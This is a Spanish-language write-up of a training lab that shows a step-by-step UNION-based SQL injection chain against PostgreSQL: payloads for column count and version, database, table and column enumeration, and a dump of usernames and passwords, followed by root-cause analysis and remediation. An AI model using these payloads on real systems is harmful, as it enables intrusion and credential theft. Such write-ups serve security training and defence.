← Writeups

UNION-based SQLi: extracción de usuarios y credenciales desde information_schema en PostgreSQL

Drenaje completo de la tabla users en PostgreSQL con UNION-based SQLi: pg_database, information_schema.tables y columns, y volcado de username/password.

1. Target Overview & Vulnerability Summary

El filtro de categoría refleja los resultados de la consulta. Combinando las técnicas previas (aridad, columna string, fingerprint), se ejecuta la cadena completa de enumeración en PostgreSQL: bases de datos, tablas, columnas y credenciales de la tabla users.

Severidad Endpoint vulnerable Root cause
Critical GET /filter?category=... Concatenación de category en la cláusula WHERE; resultados reflejados en la respuesta (UNION)

2. Technical Breakdown & Exploitation Flow

2.1 Aridad y columna string

La query devuelve 2 columnas, ambas compatibles con string:

' UNION SELECT NULL,NULL-- -
' UNION SELECT 'SQL Injection 1','SQL Injection 2'-- -

Fingerprint del motor:

' UNION SELECT NULL,version()-- -
PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit

2.2 Enumeración de bases de datos

pg_database cataloga las bases del cluster:

' UNION SELECT NULL,datname FROM pg_database-- -
template1
academy_labs
postgres
template0

Base activa de la aplicación:

' UNION SELECT NULL, CURRENT_DATABASE()-- -
academy_labs

2.3 Enumeración de tablas

information_schema.tables lista las tablas del schema actual:

' UNION SELECT NULL,table_name FROM information_schema.tables-- -

La tabla users aparece en el volcado.

2.4 Enumeración de columnas de users

' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users'-- -
email
password
username

2.5 Volcado de credenciales

Ambas columnas de la query original son strings, así que username y password se proyectan directamente:

' UNION SELECT username,password FROM users-- -
wiener        gkpo2esaf8pyr61pcl54
administrator kps4m6l7skp82xu0cf0f
carlos        hrldi4r7xf9wjjdwcyfv

Login como administrator para resolver el lab.

3. Root Cause Analysis

La query se construye por interpolación:

SELECT column1, column2 FROM products WHERE category = 'Gifts'

La cadena UNION-based abusa de tres permisos del rol de la aplicación que deberían estar aislados:

  1. Lectura de pg_database → revela el layout del cluster.
  2. Lectura de information_schema → expone el inventario completo de objetos y columnas.
  3. SELECT directo sobre users → las credenciales del lab residen en la misma base que el catálogo público.

El -- - comenta el cierre del literal; la proyección directa de dos columnas strings en la query original evita cualquier concatenación. Esta cadena es la plantilla canónica de escalada UNION-based en PostgreSQL.

4. Secure Remediation

Parametrización de la query:

String sql = "SELECT column1, column2 FROM products WHERE category = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, category);

Defensa en profundidad:

  • Rol de BD mínimo: SELECT solo sobre el schema de productos, sin acceso a pg_database, information_schema ni a la tabla users.
  • Separar el catálogo de credenciales en un schema/instancia distinto del público.
  • No reflejar columnas crudas en listados; validar y renderizar explícitamente el tipo esperado.